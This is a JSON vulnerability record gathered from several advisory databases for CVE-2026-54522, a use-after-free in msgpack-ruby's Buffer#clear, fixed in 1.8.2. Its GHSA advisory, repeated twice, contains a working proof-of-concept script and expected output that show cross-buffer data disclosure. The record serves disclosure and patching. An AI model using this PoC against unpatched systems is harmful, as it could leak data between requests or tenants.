{"id":"CVE-2026-54522","aliases":["AZL-109539","AZL-94449","DEBIAN-CVE-2026-54522","EUVD-2026-51235","GHSA-4mrv-5p47-p938","OESA-2026-3219","OESA-2026-3220","OESA-2026-3221","UBUNTU-CVE-2026-54522"],"status":"published","title":"MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure","description":"MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.","severity":{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00227,"percentile":0.1348,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-416"],"published":"2026-07-30T16:33:06Z","modified":"2026-10-28T11:14:37Z","fixes":[{"ecosystem":"RubyGems","package":"msgpack","fixed_in":["1.8.2"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"rubygem-msgpack","fixed_in":["1.8.4-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"ruby-msgpack","fixed_in":["1.8.3-1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP4","package":"rubygem-msgpack","fixed_in":["1.8.3-1.oe2403sp4"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"rubygem-msgpack","fixed_in":["1.8.3-1.oe2403sp1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP3","package":"rubygem-msgpack","fixed_in":["1.8.3-1.oe2403sp3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.1"},{"fixed":"1.8.2"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.5-3"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rubygem-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.4-1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ruby-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.4.2-2","1.7.2-1","1.7.2-1.1","1.8.0-1","1.8.3-1","1.8.4-1","1.8.5-1"]},{"source":"osv","ecosystem":"Debian:13","package":"ruby-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.7.2-1.1","1.8.0-1","1.8.3-1","1.8.4-1","1.8.5-1"]},{"source":"osv","ecosystem":"Debian:14","package":"ruby-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.3-1"}]}],"versions":["1.7.2-1.1","1.8.0-1"]},{"source":"osv","ecosystem":"RubyGems","package":"msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.2"}]}],"versions":["0.0.1","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.5.0","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.0pre1","0.6.1","0.6.2","0.7.0","0.7.0dev1","0.7.1","0.7.2","0.7.2dev1","0.7.3","0.7.4","0.7.5","0.7.6","1.0.0","1.0.1","1.0.2","1.0.3","1.1.0","1.2.0","1.2.1","1.2.10","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.1","1.3.2","1.3.3","1.4.0","1.4.0.pre1","1.4.1","1.4.2","1.4.3","1.4.4","1.4.4.pre1","1.4.5","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.6.0","1.6.1","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.8.0","1.8.1"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"rubygem-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.3-1.oe2403sp4"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"rubygem-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.3-1.oe2403sp1"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"rubygem-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.3-1.oe2403sp3"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"ruby-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.2-1build1","0.6.2-1build2","0.6.2-1build3","0.6.2-1build4"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"ruby-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0-1","1.1.0-1","1.1.0-1build1","1.1.0-1build2"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"ruby-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.0-1build2","1.1.0-1build3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"ruby-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.0-2build1","1.1.0-2build2","1.4.2-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.4.2-2build2","1.4.2-2build3","1.4.2-2build4"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"ruby-msgpack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.7.2-1.1","1.8.0-1"]}],"products":[{"vendor":"msgpack","product":"messagepack"},{"vendor":"msgpack","product":"msgpack-ruby"}],"references":[{"url":"https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/msgpack/CVE-2026-54522.yml","tags":["web"]},{"url":"https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54522","tags":["web"]},{"url":"https://github.com/advisories/GHSA-4mrv-5p47-p938"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54522","tags":["web","advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54522.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-54522","tags":["advisory"]},{"url":"https://github.com/msgpack/msgpack-ruby","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3219","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3220","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3221","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-54522","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54522","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-54522","title":"MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure","description":"MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.","status":"published","published":"2026-07-30T16:33:06.08Z","modified":"2026-07-30T17:39:15.02Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"low","assessor":"cna"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T13:37:58.613221Z"}],"euvd":[{"id":"EUVD-2026-51235","description":"MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.","status":"published","published":"2026-07-30T16:33:06Z","modified":"2026-07-30T17:39:15Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"low"}],"updated_at":"2026-11-02T18:02:28.035906Z"}],"ghsa":[{"id":"GHSA-4mrv-5p47-p938","title":"MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure","description":"### Summary\n`MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees \"unused rmem space\" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).\n\n### Details\n- `msgpack_buffer_clear()` → `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page.\n- Next `Buffer#write` → `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b-\u003ermem_last`, a pointer into the already-freed page.\n- A second buffer's first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool → the two buffers alias the same memory.\n- Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.\n\n### PoC\nSingle self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):\n\n```bash\nset -e\nWORK=\"$(mktemp -d)\"; cd \"$WORK\"\n\n# 1) PoC\ncat \u003e poc.rb \u003c\u003c'RUBY'\nb1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)\nb1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)\nb1.clear\nb1.write('C' * 128)\nsecret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)\nb2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)\nb2.write(secret)\nleaked = b1.read_all\ndonor  = b2.read_all\nputs 'b1_first64:' + leaked.byteslice(0, 64)\nputs 'b2_donor64:' + donor.byteslice(200, 64)\nputs 'leaked_is_C:' + (leaked == 'C' * 128).to_s\nputs 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s\nRUBY\n\n# 2) ASAN build of msgpackfrom rubygems\ncat \u003e Dockerfile \u003c\u003c'DOCKER'\nFROM ruby:3.3-bookworm\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends build-essential libasan8 \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN gem fetch msgpack -v 1.8.1 \u0026\u0026 gem unpack msgpack-1.8.1.gem \u0026\u0026 \\\n    cd msgpack-1.8.1/ext/msgpack \u0026\u0026 \\\n    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' \u0026\u0026 \\\n    make -j\"$(nproc)\" \u0026\u0026 cp msgpack.so ../../lib/msgpack/msgpack.so\nDOCKER\ndocker build -t msgpack-asan-poc .\n\n# 3) Run under ASAN\ndocker run --rm -v \"$WORK/poc.rb:/poc.rb:ro\" msgpack-asan-poc \\\n  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'\n```\n\nExpected output:\n```\nb1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nb2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nleaked_is_C:false\ncross_buffer_match:true\n```\n\n### Impact\nSame-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low–Medium**; clear memory-safety defect with a small, localized fix.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))","status":"published","published":"2026-07-30T16:33:12Z","modified":"2026-07-30T16:33:13Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T14:40:54.767849Z"}],"nvd":[{"id":"CVE-2026-54522","description":"MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.","status":"published","published":"2026-07-30T17:16:33.03Z","modified":"2026-10-23T22:10:00.16Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T14:12:33.955581Z"}],"osv":[{"id":"CVE-2026-54522","title":"MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure","description":"MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.","status":"published","published":"2026-07-30T16:33:06.08Z","modified":"2026-10-28T11:14:37.989315261Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"DEBIAN-CVE-2026-54522","description":"MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.","status":"published","published":"2026-07-30T17:16:33.03Z","modified":"2026-10-24T09:47:37.480307544Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-4mrv-5p47-p938","title":"MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure","description":"### Summary\n`MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees \"unused rmem space\" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).\n\n### Details\n- `msgpack_buffer_clear()` → `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page.\n- Next `Buffer#write` → `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b-\u003ermem_last`, a pointer into the already-freed page.\n- A second buffer's first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool → the two buffers alias the same memory.\n- Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.\n\n### PoC\nSingle self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):\n\n```bash\nset -e\nWORK=\"$(mktemp -d)\"; cd \"$WORK\"\n\n# 1) PoC\ncat \u003e poc.rb \u003c\u003c'RUBY'\nb1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)\nb1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)\nb1.clear\nb1.write('C' * 128)\nsecret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)\nb2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)\nb2.write(secret)\nleaked = b1.read_all\ndonor  = b2.read_all\nputs 'b1_first64:' + leaked.byteslice(0, 64)\nputs 'b2_donor64:' + donor.byteslice(200, 64)\nputs 'leaked_is_C:' + (leaked == 'C' * 128).to_s\nputs 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s\nRUBY\n\n# 2) ASAN build of msgpackfrom rubygems\ncat \u003e Dockerfile \u003c\u003c'DOCKER'\nFROM ruby:3.3-bookworm\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends build-essential libasan8 \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN gem fetch msgpack -v 1.8.1 \u0026\u0026 gem unpack msgpack-1.8.1.gem \u0026\u0026 \\\n    cd msgpack-1.8.1/ext/msgpack \u0026\u0026 \\\n    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' \u0026\u0026 \\\n    make -j\"$(nproc)\" \u0026\u0026 cp msgpack.so ../../lib/msgpack/msgpack.so\nDOCKER\ndocker build -t msgpack-asan-poc .\n\n# 3) Run under ASAN\ndocker run --rm -v \"$WORK/poc.rb:/poc.rb:ro\" msgpack-asan-poc \\\n  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'\n```\n\nExpected output:\n```\nb1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nb2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nleaked_is_C:false\ncross_buffer_match:true\n```\n\n### Impact\nSame-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low–Medium**; clear memory-safety defect with a small, localized fix.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))","status":"published","published":"2026-07-30T16:33:12Z","modified":"2026-09-10T03:51:10.426858154Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T15:46:37.148947Z"},{"id":"OESA-2026-3219","title":"rubygem-msgpack security update","description":"MessagePack is a binary-based efficient object serialization library. It enables to exchange structured objects between many languages like JSON. But unlike JSON, it is very fast and small.\r\n\r\nSecurity Fix(es):\n\nAffected versions of this package are vulnerable to Use After Free in the `clear` function. An attacker can access or manipulate memory contents from another buffer by triggering the reuse of a memory page after it has been returned to the shared pool, leading to unintended disclosure or modification of data.(CVE-2026-54522)","status":"published","published":"2026-08-01T11:12:05Z","modified":"2026-08-18T01:21:25.924178806Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3220","title":"rubygem-msgpack security update","description":"MessagePack is a binary-based efficient object serialization library. It enables to exchange structured objects between many languages like JSON. But unlike JSON, it is very fast and small.\r\n\r\nSecurity Fix(es):\n\nAffected versions of this package are vulnerable to Use After Free in the `clear` function. An attacker can access or manipulate memory contents from another buffer by triggering the reuse of a memory page after it has been returned to the shared pool, leading to unintended disclosure or modification of data.(CVE-2026-54522)","status":"published","published":"2026-08-01T11:12:05Z","modified":"2026-08-18T01:21:26.029493198Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3221","title":"rubygem-msgpack security update","description":"MessagePack is a binary-based efficient object serialization library. It enables to exchange structured objects between many languages like JSON. But unlike JSON, it is very fast and small.\r\n\r\nSecurity Fix(es):\n\nAffected versions of this package are vulnerable to Use After Free in the `clear` function. An attacker can access or manipulate memory contents from another buffer by triggering the reuse of a memory page after it has been returned to the shared pool, leading to unintended disclosure or modification of data.(CVE-2026-54522)","status":"published","published":"2026-08-01T11:12:05Z","modified":"2026-08-18T01:21:26.016502354Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"UBUNTU-CVE-2026-54522","description":"MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.","status":"published","published":"2026-07-30T17:16:00Z","modified":"2026-08-06T22:15:26.148379177Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"low"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"AZL-109539","title":"CVE-2026-54522 affecting package python-msgpack 1.0.5-3","description":"MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.","status":"published","published":"2026-07-30T17:16:33Z","modified":"2026-10-27T05:36:16Z","updated_at":"2026-11-02T15:28:02.044071Z"},{"id":"AZL-94449","title":"CVE-2026-54522 affecting package rubygem-msgpack for versions less than 1.8.4-1","description":"MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.","status":"published","published":"2026-07-30T17:16:33Z","modified":"2026-09-13T14:18:03.337500688Z","updated_at":"2026-11-02T15:28:12.028669Z"}]}}